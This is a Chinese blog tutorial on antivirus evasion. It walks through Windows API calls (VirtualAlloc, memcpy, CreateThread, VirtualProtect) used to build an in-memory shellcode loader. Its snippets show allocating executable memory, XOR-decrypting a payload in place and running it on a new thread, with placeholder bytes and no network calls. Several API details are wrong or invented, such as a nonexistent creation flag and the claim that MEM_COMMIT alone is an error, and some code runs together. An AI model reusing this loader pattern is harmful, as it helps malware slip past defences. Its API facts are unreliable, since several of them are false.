当前位置: 首页 > news >正文

免杀一 线程加载

免杀一 线程加载

文章目录

  • 免杀一 线程加载
    • 前言
    • 基础钩子函数
      • VirtualAlloc 虚拟分配
        • 参数一 [in, optional] lpAddress [起始地址]
        • 参数二 [in] dwSize [申请内存大小]
        • 参数三 [in] flAllocationType [内存操作类型]
        • 参数四 [in]flprotect [内存的保护属性]
        • 案例
      • memcpy [内存分配]
        • 案例
      • CreateThread 线程创建
        • 参数一 [in,optional] lpThreadAttributes 设置线程的安全属性和句柄继承性
        • 参数二 [in] dwStackSize 线程堆栈大小
        • 参数三 [in]lpStartAddress 执行函数
        • 参数四 [in,optional] lpParameter 线程函数中需要的参数指针
        • 参数五 [in]dwCreationFlages 控制线程创建的标志
        • 参数六 [out,optional] lpThreadId 收线程标识符的指针
        • 案例
      • WaitForSingleObject
        • 参数一 [IN] HANDLE 句柄执行的线程
        • 参数二 [in] dwMilliseconds
      • CloseHandle 释放系统资源
      • VirtualFree 释放申请的内存空间
      • 完整代码示例

前言

好长时间没有更新了,这段时间在想要不要写点免杀的东西,很多朋友应该是会点免杀但是对winapi不是很熟悉,我就带大家以免杀的角度来了解Windowsapi

基础钩子函数

VirtualAlloc 虚拟分配

LPVOID VirtualAlloc([in, optional] LPVOID lpAddress,[in]           SIZE_T dwSize,[in]           DWORD  flAllocationType,[in]           DWORD  flProtect
);

该函数包括在windows.h头文件中

该函数调用windows api memoryapi.h

该函数一共有四个参数

功能

保留、提交或更改调用进程的虚拟地址空间中页面区域的状态。

此函数分配的内存会自动初始化为零。

若要在另一进程的地址空间中分配内存可以使用VirtualAllocEx函数

参数一 [in, optional] lpAddress [起始地址]

分配起始地址

填写内容参数示例使用场景原理说明(大白话版)注意事项
NULLNULL普通内存分配“电脑你随便找个地方存吧”最简单安全,系统自动找合适位置
具体内存地址(LPVOID)0x00010000精细控制内存位置“我想存到这个位置!”(实际会被调整到最近的4KB/64KB对齐地址)需要精确计算地址,容易出错
Enclave新地址(LPVOID)0xE0000000新建安全隔离区“在新建的保险箱里放空白页”(系统自动初始化零页)必须确保该区域未被使用
SGX1 Enclave地址(LPVOID)0xE0010000已锁定的旧式安全区“想在封存的保险箱加东西” → 直接报错"无效地址"仅SGX1环境会出现,需提前规划好内存
SGX2 Enclave地址(LPVOID)0xE0020000扩展新型安全区“在智能保险箱预留位置” → 可分配但需后续验证需要确认硬件支持SGX2
错误地址(LPVOID)0x0000FFFF测试错误处理“想在两个货架中间塞东西” → 地址被调整到最近的合法位置(如0x00010000)可能造成预期外的地址偏移

补充说明:

  1. 对齐规则:就像停车必须停到车位里,系统会自动把地址"停"到最近的合法位置

  2. Enclave类型

    • SGX1:一次性保险箱(初始化后不能改)
    • SGX2:可升级保险箱(支持动态调整)
  3. 典型错误ERROR_INVALID_ADDRESS = “你想存的位置不合法!”

使用口诀:

  • 普通程序用NULL,省心省力少烦恼
  • 特殊需求定地址,对齐规则要记牢
  • 安全区域操作时,硬件支持先确认
参数二 [in] dwSize [申请内存大小]

申请内存的大小

这个参数是告诉电脑:“我要存的东西大概占怎么大的空间”。但电脑有自己的存储规则:

  1. 自动凑整:就像买纸必须整包买(假设每包500张),如果你要480张,电脑会直接给你一包500张
  2. 跨页处理:如果你选的位置横跨两个"纸包"(内存页),电脑会把涉及到的所有纸包都给你
  3. 单位转换:1页=4KB(通常),1分配粒度=64KB(通常),用 GetSystemInfo 可以查具体值
参数示例使用场景原理说明(大白话版)注意事项
4096刚好1页内存(4KB)“正好要一包纸” → 直接分配1页最理想情况,无浪费
3000小内存需求“要3/4包纸” → 还是给整包(分配4KB)实际获得4096字节
8193跨页申请“要2包纸再多1字节” → 实际分配3页(12KB)注意可能的内存浪费
0错误测试“我什么都不要” → 直接报错必须大于0
262144大内存分配(256KB)“要50包纸” → 系统检查是否有连续50包的空间需要连续内存空间,大申请可能失败
随lpAddress变化的动态大小精确地址分配根据起始地址计算需要多少"纸包"需要自行计算页边界
带小数的数值(错误示例)错误输入“要3.5包纸” → 系统自动取整(但参数类型为DWORD应传整数)实际编程中应避免非整数值

补充说明:

  1. 页边界计算:假设页大小4KB(0x1000)

    • 起始地址0x1234,大小3000字节 → 覆盖0x1234-0x1234+3000=0x1F24
    • 涉及页:0x1000-0x1FFF 和 0x2000-0x2FFF → 分配2页
  2. 系统函数:用 GetSystemInfo 可以获取:

    SYSTEM_INFO info;
    GetSystemInfo(&info);
    DWORD pageSize = info.dwPageSize; // 通常4096
    DWORD allocGranularity = info.dwAllocationGranularity; // 通常65536
    copy
    
  3. 编程技巧

    // 正确计算分配大小
    DWORD needSize = 5000; // 需要5000字节
    DWORD realSize = ((needSize / pageSize) + 1) * pageSize; // 实际分配8192字节
    copy
    

使用口诀:

  • 内存分配按页算,零头也会凑整页
  • 地址如果自己选,跨页就会多给页
  • 大块内存申请时,连续空间是关键
参数三 [in] flAllocationType [内存操作类型]

flAllocationType决定了如何分配内存,比如是实际分配物理内存(MEM_COMMIT),还是仅仅保留地址空间(MEM_RESERVE)。可以将其类比为停车场的不同操作:预订车位、实际停车、标记车位为暂时不用等。

这个参数是选择内存分配的方式,就像选择停车方式:

  • 普通停车(MEM_COMMIT):实际占用车位
  • 预约车位(MEM_RESERVE):先占个空位但不停车
  • 临时离场(MEM_RESET):车还在车位,但告诉管理员"暂时别动我的车"
  • 特殊车位:大型车辆车位(MEM_LARGE_PAGES)、物流专用区(MEM_PHYSICAL)等

详细表格

标志名称参数示例使用场景原理说明(大白话版)注意事项
MEM_COMMITMEM_COMMIT实际使用内存“我要正式停车了”(分配实际内存空间)必须配合已预约的车位(MEM_RESERVE)使用
MEM_RESERVEMEM_RESERVE预留地址空间“先占个车位但不停车”(保留地址范围但不分配内存)其他内存函数无法使用这个区域
MEM_COMMIT|MEM_RESERVE`MEM_COMMITMEM_RESERVE`一步到位分配“我要马上停车并占用车位”(同时保留和提交)
MEM_RESETMEM_RESET临时释放内存“车停着但别动它”(标记内存不再使用,系统可能优化)内存内容可能被清零,不能用于文件映射内存
MEM_RESET_UNDOMEM_RESET_UNDO恢复被标记的内存“我要重新使用这个车位”(撤销之前的MEM_RESET标记)仅Windows 8+支持,需之前成功执行过MEM_RESET
MEM_LARGE_PAGESMEM_LARGE_PAGES分配超大内存页“我要停大卡车”(使用2MB等大页内存)需要管理员权限,大小必须是大页的整数倍
MEM_PHYSICALMEM_PHYSICAL物理内存映射“这是物流专用区”(用于地址窗口扩展AWE)必须配合MEM_RESERVE使用
MEM_TOP_DOWNMEM_TOP_DOWN高位优先分配“从停车场顶层开始找车位”(从高地址开始分配)分配速度较慢,用于特殊内存布局需求
MEM_WRITE_WATCHMEM_WRITE_WATCH监控内存写入“给车位安装监控摄像头”(跟踪哪些内存页被修改过)必须配合MEM_RESERVE使用,影响性能

重点说明:

  1. 常用组合MEM_COMMIT | MEM_RESERVE 就像同时完成车位预约和停车

  2. 特殊权限:使用大页内存(MEM_LARGE_PAGES)需要SeLockMemoryPrivilege权限

  3. 错误示范

    // 错误:未预约直接停车
    VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_READWRITE); 
    // 正确:预约+停车同时进行
    VirtualAlloc(NULL, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    copy
    

使用口诀:

  • 普通使用选提交,预留地址要保留
  • 一步到位最方便,组合使用省步骤
  • 特殊需求看标志,权限对齐不能少
  • 监控重置按需用,系统版本要注意

核心功能:决定怎么"占车位"

把这个参数想象成在停车场管理车辆的指令:

  1. MEM_RESERVE(0x00002000)
    → “我要预定10个连续车位(但暂时不放车)”
    作用:先占着地址空间,防止别人使用,但不实际消耗资源
  2. MEM_COMMIT(0x00001000)
    → “我要实际使用之前预定的车位”
    作用:真正占用物理内存(相当于把车停进车位)
  3. MEM_RESET(0x00080000)
    → “这些车位上的车暂时不用了,但别把车拖走”
    作用:告诉系统这些内存暂时不用,但保持预留状态
  4. MEM_LARGE_PAGES(0x20000000)
    → “我要用加长车位停房车”
    作用:使用更大的内存单元(通常2MB/1GB),提升性能但需要特殊条件

实际工作流程演示:

// 第一步:预定10个车位(保留地址空间)
void* p = VirtualAlloc(NULL, 1024*1024, MEM_RESERVE, PAGE_READWRITE);// 第二步:实际使用前5个车位(提交部分内存)
VirtualAlloc(p, 4096*5, MEM_COMMIT, PAGE_READWRITE);// 使用内存...// 第三步:告诉系统中间3个车位暂时不用了(MEM_RESET)
VirtualAlloc((char*)p+4096*1, 4096*3, MEM_RESET, PAGE_READWRITE);// 第四步:重新启用这些车位(MEM_RESET_UNDO)
VirtualAlloc((char*)p+4096*1, 4096*3, MEM_RESET_UNDO, PAGE_READWRITE);
copy

为什么需要这个参数

  1. 精细控制内存:就像停车时可以灵活决定占位方式
  2. 优化资源使用:避免一次性占用所有物理内存
  3. 特殊需求支持:大内存页提升性能、监控内存修改等

常见组合用法

  • 开卡即停MEM_COMMIT | MEM_RESERVE → 预定车位同时停车
  • 分批使用:先MEM_RESERVE大空间,再逐步MEM_COMMIT部分区域
  • 内存监控MEM_RESERVE | MEM_WRITE_WATCH → 监视指定区域的内存写入

记住这个参数就是告诉系统:“我要以什么方式占用内存空间”,就像选择不同的停车策略一样。

参数四 [in]flprotect [内存的保护属性]

flProtect参数指定内存页的保护属性,如可读、可写、可执行等。常见的值包括PAGE_READONLY、PAGE_READWRITE、PAGE_EXECUTE_READ等。此外,还有一些特殊标志如PAGE_GUARD(保护页)和PAGE_NOCACHE(非缓存)

这个参数就像给内存区域设置"权限门禁":

  • 控制程序能否读、写、执行该内存
  • 设置特殊功能(如缓存策略、防护机制)
标志名称参数示例使用场景原理说明(大白话版)注意事项
PAGE_READONLYPAGE_READONLY只读数据存储“这个区域只能看不能改”(允许读取,禁止写入)试图写入会导致访问冲突
PAGE_READWRITEPAGE_READWRITE常规内存操作“可读可写的工作区”(默认最常用设置)不可执行代码,安全系数较高
PAGE_EXECUTE_READPAGE_EXECUTE_READ存放可执行代码“这里存的是程序代码,可以运行”(允许执行和读取)现代系统通常禁止可写可执行代码
PAGE_EXECUTE_READWRITEPAGE_EXECUTE_READWRITE动态生成代码“既能修改又能执行的代码区”(危险但必要时使用)容易被恶意利用,需特别谨慎
PAGE_WRITECOMBINEPAGE_WRITECOMBINE显卡内存映射“批量打包写入更高效”(优化对硬件设备的写入)专用于设备内存映射
PAGE_GUARDPAGE_GUARD内存监控“这个区域访问就报警”(首次访问触发异常)常用于堆栈保护
PAGE_NOCACHEPAGE_NOCACHE直接访问设备内存“不要用缓存,直接读写”(绕过CPU缓存)用于设备驱动开发
PAGE_EXECUTEPAGE_EXECUTE旧系统兼容“可以运行但不能看”(实际很少使用)现代系统通常不允许

重点说明:

  1. 安全规范:现代系统(DEP保护)通常禁止同时可写和可执行

    // 危险示例(可能被病毒利用):
    VirtualAlloc(..., PAGE_EXECUTE_READWRITE);
    // 安全做法:
    VirtualAlloc(..., PAGE_READWRITE);
    // 需要执行时再修改权限:
    VirtualProtect(..., PAGE_EXECUTE_READ);
    copy
    
  2. 特殊组合:可以和之前的分配类型组合使用

    // 保留可执行内存区域:
    VirtualAlloc(NULL, size, MEM_RESERVE, PAGE_EXECUTE_READ);
    copy
    
  3. 硬件相关PAGE_WRITECOMBINEPAGE_NOCACHE 通常用于驱动开发

使用口诀:

  • 常规读写选RW,执行代码用ER
  • 安全防护要牢记,可写执行不共存
  • 硬件操作特殊标,缓存策略按需选
  • 监控报警设Guard,首次访问就触发
案例
#include <windows.h>unsigned char shellcode[] = {0x90, 0x90, 0xC};
//分配内存
LPVOID memory = VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);

memcpy [内存分配]

memcpy的作用是将shellcode的数据复制到分配的内存中。可以比喻为把一段代码“搬运”到准备好的内存空间里,以便后续执行。

参数方面:

  • 第一个参数是目标地址,也就是之前分配的内存块的位置。
  • 第二个参数是源数据,即shellcode数组本身,里面存着要执行的代码。
  • 第三个参数是要复制的字节数,这里用sizeof(shellcode)来自动计算数组的长度,确保复制整个数据。

需要强调每个参数的作用,以及为什么需要它们。例如,目标地址必须是有效的内存位置,否则会导致程序崩溃;源数据必须有实际内容;复制的字节数必须正确,否则可能复制不全或越界。

参数作用注意事项
目标地址存放复制内容的内存必须确保内存已成功分配(不是NULL)
源数据要复制的原始数据数据需要正确初始化,不能是空数组或空指针
字节数复制多少内容必须和实际数据大小一致,避免溢出或不足

memcpy 的作用就像快递员:把 shellcode 这个"包裹"(你的程序代码)原封不动地搬运到新申请的内存"仓库"里。需要明确告诉快递员:

  1. 送到哪个地址(memory
  2. 要送什么货(shellcode
  3. 货物有多大(sizeof(shellcode)

参数表格

参数示例作用注意事项
destmem目标地址(搬到哪里)必须足够大,否则会溢出(像小仓库塞大货)
srcshellcode源数据地址(搬什么)必须已初始化,否则搬的是"垃圾数据"
countsizeof(shellcode)要搬的字节数(搬多少)要准确计算:数组长度×元素大小(如int数组要×4)
  • 功能:把shellcode里的机器指令复制到mem指向的内存

  • 风险

    1. 如果mem空间不够 → 程序崩溃
    2. 如果mem不可执行 → 现代系统会阻止运行
    3. 如果shellcode包含恶意代码 → 可能被利用攻击

通俗原理

1.申请内存
2.快递员memcpy
3.设置执行权限
你的代码
新仓库
成功?
仓库里有完整代码
程序崩溃
可以运行代码
copy

常见坑点

  1. 空箱子问题

    unsigned char shellcode[] = {}; // 相当于寄空箱子
    copy
    
  2. 地址错误

    LPVOID memory = NULL; // 相当于没写收货地址
    memcpy(memory, ...);  // 快递员不知道往哪送
    copy
    
  3. 尺寸计算错误

    // 如果shellcode是指针(不是数组)
    sizeof(shellcode); // 相当于只寄了快递单(指针地址),没寄货物
    
案例
#include <windows.h> //导入winapi//定义执行机器码
unsigned char code[]="0x95,0x96,0x97";//申请内存
LPVOID memory = VirtualAlloc(NULL,sizeof(code),MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配内存
memcpy(memory,code,sizeof(code));

CreateThread 线程创建

HANDLE CreateThread([in, optional]  LPSECURITY_ATTRIBUTES   lpThreadAttributes,[in]            SIZE_T                  dwStackSize,[in]            LPTHREAD_START_ROUTINE  lpStartAddress,[in, optional]  __drv_aliasesMem LPVOID lpParameter,[in]            DWORD                   dwCreationFlags,[out, optional] LPDWORD                 lpThreadId
);

CreateThread函数是用来创建在调用进程的虚拟地址空间内执行的线程。

若要创建在另一个进程的虚拟地址空间中运行的线程,请使用 CreateRemoteThread 函数。

参数表格

参数示例作用注意事项
lpThreadAttributesNULL线程安全性设置99%情况用NULL
dwStackSize0栈内存大小(字节)0=默认值(通常1MB),最大不超过64KB(嵌入式系统)
lpStartAddressThreadProc线程处理函数必须符合格式:DWORD WINAPI ThreadProc(LPVOID lpParameter)
lpParameter(LPVOID)123传给线程函数的参数可传递任意类型数据(需要强制转换)
dwCreationFlags0 或 CREATE_SUSPENDED创建标志0=立即执行,CREATE_SUSPENDED=创建后暂停(需ResumeThread唤醒)
lpThreadIdNULL返回线程ID不需要ID时可设为NULL

该函数包括在windows.h头文件中

该函数调用processthreadsapi.h

该函数有6个参数

参数一 [in,optional] lpThreadAttributes 设置线程的安全属性和句柄继承性

lpThreadAttributes用于设置线程的安全属性和句柄继承性。主要控制两点:

1)线程句柄是否可被子进程继承;

2)线程的安全描述符(访问权限)。

大多数情况下设为NULL,即不可继承并使用默认安全设置。当需要子进程继承句柄或设置特殊权限时,需自定义SECURITY_ATTRIBUTES结构。

lpThreadAttributes参数的作用
这个参数就像给新线程发"工作证",主要控制两个事情:

  1. 能不能把线程句柄传给子进程(像工作证能不能借给别人)
  2. 线程的安全权限(像工作证有哪些门禁权限)

核心功能

  • 决定线程句柄的继承性
  • 设置线程的访问控制规则(谁可以操作这个线程)
填写内容参数示例使用场景原理说明注意事项
NULLNULL普通线程“用默认设置:不继承+默认权限”适用于99%的常规情况
允许继承的句柄SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE};跨进程线程管理“这个线程句柄可以传给子进程使用”需要配合CreateProcess的继承参数使用
自定义安全规则SECURITY_ATTRIBUTES sa = { sizeof(sa), pSD, FALSE};`高安全要求的线程“这个线程只允许管理员操作”需要提前创建安全描述符(pSD),需要管理员权限
显式拒绝继承SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, FALSE};`敏感线程“明确表示这个句柄不能外传”虽然效果和NULL相同,但代码可读性更好

使用场景对比表

场景推荐设置原因
普通后台线程NULL无需特殊设置,简单安全
需要监控的线程自定义安全描述符限制对线程的访问权限
进程池管理允许继承的句柄方便父进程管理子进程中的线程
安全关键服务显式拒绝继承+自定义权限最大限度防止未经授权的访问
  1. NULL 的情况

    CreateThread(NULL, ...); 
    copy
    
    • 相当于:“给普通工作证”
    • 不能借给子公司
    • 默认权限(和老板的权限一样)
  2. 自定义设置的情况

    SECURITY_ATTRIBUTES sa = {sizeof(SECURITY_ATTRIBUTES), // 必须填表头NULL,                        // 权限和老板一样TRUE                         // 允许借给子公司
    };
    CreateThread(&sa, ...);
    copy
    
    • 相当于:“定制工作证”
    • 可以借给子公司
    • 权限等级和老板相同

    实际场景示例

    场景1:普通后台线程

    // 就像雇个清洁工
    HANDLE hCleaner = CreateThread(NULL,   // 用默认工作证0,      // 默认工具包Clean,  // 打扫任务NULL,   // 不需要额外参数0,      // 立即上岗NULL    // 不记录工号
    );
    copy
    

    场景2:需要跨部门协作的线程

    // 就像雇个快递员,要把工作证传给子公司
    SECURITY_ATTRIBUTES saDriver = {sizeof(SECURITY_ATTRIBUTES),NULL,    // 默认权限TRUE     // 允许借出工作证
    };
    HANDLE hDriver = CreateThread(&saDriver, // 定制工作证0,         Deliver,   NULL,      0,         NULL       
    );
    copy
    

    场景3:财务部机密线程

    // 就像雇个会计师,需要特殊权限
    SECURITY_DESCRIPTOR sdFinance;
    // 创建只有财务总监能访问的权限设置...
    SECURITY_ATTRIBUTES saFinance = {sizeof(SECURITY_ATTRIBUTES),&sdFinance, // 特殊权限FALSE       // 工作证不能外借
    };
    HANDLE hAccountant = CreateThread(&saFinance,0,Accounting,NULL,0,NULL
    );
    

关键总结

  1. 什么时候用NULL
    就像雇普通员工,不需要特殊权限和跨部门协作时

  2. 什么时候要自定义

    • 需要把线程句柄传给其他程序时(bInheritHandle=TRUE)
    • 需要限制谁可以操作这个线程时(设置lpSecurityDescriptor)
  3. 千万不能忘

    sa.nLength = sizeof(sa); // 就像填表必填的"填表日期"
    copy
    

    不写这句系统就不认你的设置!

使用口诀

  • 线程属性三要素,大小继承和安全
  • 默认传空最省事,需要继承设TRUE
  • 安全描述需谨慎,不懂别碰保平安
  • 结构大小必须填,否则系统要翻脸
参数二 [in] dwStackSize 线程堆栈大小

dwStackSize指定线程堆栈的初始大小,系统会将其舍入到最近的页大小(如4KB)。若为0,则使用默认值(通常1MB)。堆栈用于存储局部变量、函数调用信息等,过小可能导致栈溢出,过大浪费内存。

dwStackSize参数就像给新线程分配"工作台大小":

  • 作用:决定线程能堆放多少临时物品(局部变量)和记录多少工作步骤(函数调用)
  • 特点:实际大小会被凑整到4KB的倍数(就像工作台尺寸必须是标准规格)

参数详解表格

参数示例使用场景原理说明注意事项
0普通线程“用公司标准工作台”(默认1MB)适用于99%的情况
4096极小内存环境“定制4KB小工作台”容易堆栈溢出(Stack Overflow)
2097152需要深度递归的线程“特制2MB大工作台”浪费内存资源,需谨慎使用
32768特定需求的嵌入式系统“32KB专用工作台”需根据实际测试调整大小

补充说明

  1. 默认值查询

    #pragma comment(linker, "/STACK:1048576") // 修改默认栈大小(1MB)
    copy
    

    在VC++中,默认栈大小由编译器选项决定

  2. 栈溢出错误

    void RecursiveFunc() {char buf[1024]; // 每次递归消耗1KBRecursiveFunc(); // 递归1024次就会耗尽1MB默认栈
    }
    copy
    

    会触发ERROR_STACK_OVERFLOW(0x800703E9)

  3. 正确设置示例

    // 创建使用4MB栈的线程
    HANDLE hThread = CreateThread(NULL,4*1024*1024, // 4MBThreadFunc,NULL,0,NULL
    );
    copy
    

使用场景对比表

场景推荐设置原因
普通业务逻辑0默认值安全可靠
深度递归算法4MB+防止栈溢出
嵌入式实时系统自定义根据硬件资源优化
临时小任务64KB节省内存资源

注意事项

  1. 不要盲目改大:栈内存是预先保留的,设置过大会浪费资源

  2. 栈溢出难调试:会导致线程直接崩溃,无异常提示

  3. 编译器差异

    • VC++默认1MB
    • Linux pthread默认2MB
    • 不同编译器可能不同
  4. 替代方案:对于需要大内存的操作,建议改用堆内存(malloc/new)

使用口诀

  • 线程栈大小参数,默认给零最方便
  • 深度递归需增大,资源有限要缩减
  • 溢出错误难察觉,局部变量别太大
  • 内存宝贵需珍惜,能小不大是原则
参数三 [in]lpStartAddress 执行函数

lpStartAddress是线程开始执行时调用的函数指针,该函数必须符合特定签名(返回DWORD,接受LPVOID参数,使用WINAPI调用约定)。函数内包含线程的主要逻辑,如处理数据、执行循环等。

线程函数是员工的任务清单,lpStartAddress告诉新员工从哪个任务开始执行。参数lpParameter可传递任务所需的特定数据。

lpStartAddress参数就像给新员工的任务清单:

  • 作用:告诉新线程"你从哪个任务开始工作"
  • 要求:任务清单必须符合公司标准格式(参数和返回值类型固定)

参数详解表格

参数示例使用场景原理说明注意事项
ThreadProc普通线程任务“按标准流程工作”(执行定义好的函数)函数必须符合DWORD WINAPI格式
&DownloadTask文件下载线程“专门处理下载任务”确保函数线程安全
ProcessData数据处理线程“对传入的数据进行分析”通过lpParameter传递数据指针
reinterpret_cast<LPTHREAD_START_ROUTINE>(0x12345678)高级场景“从指定内存地址开始执行”(危险操作!)仅用于特殊需求,如动态生成代码

线程函数标准格式

有两种方法

场景参数位置典型用途内存权限要求
传递内存作为参数CreateThread第4参数线程函数处理外部数据PAGE_READWRITE
直接执行内存代码CreateThread第3参数运行shellcode/注入代码PAGE_EXECUTE_READ

第一种方法 参数传递

线程入口是一个标准函数,内存作为数据参数传递,由函数处理。

  1. 传递内存作为参数
    • 相当于:给工人一张图纸(参数),让工人按照图纸(你的函数)工作
    • 工人 = 系统线程
    • 图纸 = 内存数据
    • 工作方法 = 你编写的函数
DWORD WINAPI ThreadProc(LPVOID param){//这里写工作内容  这里可以完成一些加解密的操作以及一些内存权限修改的操作return 0};

例如

DWORD WINAPI DecryptAndExecute(LPVOID param)//由子线程传递参数
{unsigned char* sc = (unsigned char*)param;// 1. 解密操作for(int i=0; i<sizeof(encrypted); i++){sc[i] ^= 0x55; //边解密边赋值 把解密后的内存重新擦写到内存中}// 2. 修改内存权限为可执行DWORD oldProtect;if(!VirtualProtect(sc, sizeof(encrypted), PAGE_EXECUTE_READ, &oldProtect))//修改内存保护权限&oldProtect为老权限 PAGE_EXECUTE_READ为要覆盖的新权限  (内存,大小,新权限,老权限){printf("修改权限失败!错误码:0x%X\n", GetLastError());return 1;} //直接// 3. 执行解密后的 shellcodeprintf("开始执行解密后的代码...\n");((void(*)())sc)();//将 sc 这个普通指针转换为函数指针return 0;
}//但是在createthread函数中要传入内存地址
main(){HANDLE thread = CreateThread(NULL,0,DecryptAndExecute,  // 使用处理函数memory,              // 传递内存地址0,NULL);  
};

步骤1:异或解密

for(int i=0; i<sizeof(encrypted); i++){sc[i] ^= 0x55; // 异或解密
}
copy
  • 作用:直接在内存中修改数据

  • 内存变化

    原始内存:C5 45
    解密后:90 10
    

步骤2:类型转换

(void(*)())sc
copy
  • 含义:将 sc 这个普通指针转换为函数指针

  • 等价解释

    typedef void (*FuncType)(); // 定义函数指针类型
    FuncType func = (FuncType)sc; // 强制类型转换
    

参数传递流程

主线程 CreateThread 子线程 mem地址作为参数 传递mem地址 param = mem地址 主线程 CreateThread 子线程
  1. 主线程:把保险箱(内存)地址告诉工人(子线程)
  2. 工人:到保险箱位置(param地址)修改内容(解密)
  3. 工人:直接使用保险箱里的工具(执行代码)

内存操作流程

param接收mem地址
强制类型转换
sc指向同一内存块
就地解密
修改内存权限
执行解密后的代码

第二种方法直接执行

内存中的代码被当作线程入口函数执行,需要符合函数调用约定。

  1. 直接执行内存代码
    • 相当于:直接让工人变成机器人,按内存中的指令集行动
    • 机器人指令 = 内存中的机器码
    • 系统不会检查指令是否合理,直接执行

成功条件

  1. 内存包含有效的机器指令
  2. 指令符合Windows线程调用约定(__stdcall)
  3. 内存具有执行权限(PAGE_EXECUTE_READ)

直接将shellcode强制转换为LPTHREAD_START_ROUTINE类型

HANDLE thread = CreateThread(NULL,0,LPTHREAD_START_ROUTINE(memory)NULL0,NULL)//HANDLE类型为指针类型

HANDLE 本质

特征说明
实际类型void*(但具体结构不公开)
数值表现通常是一个4字节或8字节的数字
作用范围只在当前进程有效
安全限制不能跨进程直接使用

常见 HANDLE 类型

API返回的 HANDLE 代表
CreateThread线程对象
CreateFile文件对象
CreateMutex互斥锁对象
FindFirstFile文件搜索对象

HANDLE 就像 游乐场的游玩券

  1. 获得券
    当你玩项目(创建线程/打开文件),工作人员(系统)给你一张券(HANDLE)

    HANDLE ticket = CreateThread(...); // 拿到游玩券
    copy
    
  2. 使用券
    凭券享受服务,但不能直接操作设备

    WaitForSingleObject(ticket, INFINITE); // 出示券等待完成
    copy
    
  3. 归还券
    玩完后必须还券,否则会占用资源

    CloseHandle(ticket); // 归还游玩券
    copy
    

关键特性

场景类比
不能直接操作资源不能自己开过山车
系统内部管理工作人员控制设备
唯一标识资源每张券有唯一编号
必须通过API操作必须遵守使用规则

对比表格

特征参数传递法直接执行法
控制权你的函数控制流程内存中的机器码控制流程
安全性安全(合法函数)高危(可能触发杀毒软件)
典型用途多线程数据处理代码注入/漏洞利用
崩溃风险高(指令错误立即崩溃)
权限要求PAGE_READWRITEPAGE_EXECUTE_READ
  • 参数传递就像让厨师(线程)按照你给的菜谱(函数)处理食材(内存数据)
  • 直接执行就像把厨师变成机器人,直接把食谱程序(机器码)灌入他的大脑(内存)
参数四 [in,optional] lpParameter 线程函数中需要的参数指针

传递给线程函数的参数指针

lpParameter允许向线程函数传递一个指针,用于传递数据或配置信息。该指针可以是任意类型的数据,如结构体、整数、对象指针等。线程函数通过转换该指针来访问数据

如给新员工(线程)一个文件夹(参数),内含任务说明。需要注意指针的生命周期,确保在线程使用时数据有效,避免悬垂指针。

lpParameter`就像给新员工的"工作资料袋":

  • 作用:把主线程需要传递的信息交给新线程
  • 特点:可以放任何类型的数据(数字、文本、复杂资料)

参数详解表格

参数示例使用场景原理说明注意事项
NULL不需要额外参数“空资料袋”线程函数需要处理NULL情况
(LPVOID)123传递简单整数“袋里装个数字条”(把整数直接当指针传递)仅适用于32/64位兼容的整型(DWORD_PTR)
(LPVOID)&data传递复杂数据结构“袋里装文件地址”(传递结构体/对象的指针)确保数据生命周期长于线程
(LPVOID)“Hello”传递字符串“袋里装便签条”(传递字符串常量地址)只能用于常量字符串,动态字符串需动态分配
(LPVOID)pObject传递C++对象“袋里装设计图”(传递类实例指针)需要保证线程安全,防止竞态条件

示例1:传递整数

DWORD WINAPI ThreadProc(LPVOID param) {int num = (int)(DWORD_PTR)param;printf("收到数字: %d", num);return 0;
}int main() {int number = 42;CreateThread(..., (LPVOID)(DWORD_PTR)number, ...);//在lpParameter中需要传递线程函数需要的参数
}
copy

示例2:传递结构体

struct TaskInfo {int id;char name[20];
};DWORD WINAPI ThreadProc(LPVOID param) {TaskInfo* task = (TaskInfo*)param;printf("处理任务%d: %s", task->id, task->name);return 0;
}int main() {TaskInfo task = {1, "重要任务"};CreateThread(..., &task, ...);// 注意:要确保task在线程运行期间有效!
}
copy

示例3:传递动态字符串

DWORD WINAPI ThreadProc(LPVOID param) {char* text = (char*)param;printf("收到文本: %s", text);free(text); // 用完记得释放!return 0;
}int main() {char* msg = (char*)malloc(100);strcpy(msg, "动态分配的消息");CreateThread(..., msg, ...);
}

注意事项

要点说明
数据生命周期确保传递的数据在线程使用期间有效(全局/动态分配)
类型安全在转换指针类型时要确保类型正确
线程安全多线程访问共享数据要加锁(临界区/互斥锁)
32/64位兼容传递整数时使用DWORD_PTR类型转换
内存管理动态分配的内存要记得释放(最好由分配者释放)
避免悬垂指针不要传递局部变量的指针,除非确保线程在变量有效期内结束

多参数传递

可以定义结构体

struct Params {int x;double y;char* z;
};// 创建参数实例
Params* p = new Params{10, 3.14, "数据"};
CreateThread(..., p, ...);// 线程函数内
DWORD WINAPI ThreadProc(LPVOID param) {Params* p = (Params*)param;// 使用p->x, p->y, p->zdelete p; // 记得释放!return 0;
}

使用口诀

  • 线程参数万能传,指针转换要谨慎
  • 简单数字强转递,复杂结构用指针
  • 生命周期要保证,局部变量小心用
  • 多线程访问数据,锁机制是根本
参数五 [in]dwCreationFlages 控制线程创建的标志

dwCreationFlags主要有两个选项:0(立即执行)和CREATE_SUSPENDED(挂起线程)。挂起的线程需要ResumeThread来启动。其他标志如STACK_SIZE_PARAM_IS_AHRESET在特定情况下使用。

如立即执行就像新员工立刻开始工作,挂起则像员工待命,需要主管通知后才开始

dwCreationFlags就像新员工的到岗通知单

  • 0:“立刻开始工作!”
  • CREATE_SUSPENDED:“先来公司待命,等通知再开工”

参数详解表格

标志名称使用场景原理说明注意事项
00x00000000普通线程“直接开始执行”最常用选项
CREATE_SUSPENDED0x00000004需要延迟执行的线程“创建后暂停,等准备好再启动”必须调用ResumeThread恢复
STACK_SIZE_PARAM_IS_AHRESET0x00080000特殊调试场景“用于调试器热更新”普通开发无需使用

立即执行(默认)

HANDLE hThread = CreateThread(NULL, 0, ThreadProc, NULL, 0, // ← 这里传0表示立即执行NULL
);
copy

挂起线程

// 创建挂起线程
HANDLE hThread = CreateThread(NULL,0,ThreadProc,NULL,CREATE_SUSPENDED, // ← 关键参数NULL
);// ...做一些初始化工作...// 恢复线程执行
ResumeThread(hThread);
场景推荐标志原因
普通线程0立即开始执行,无需额外操作
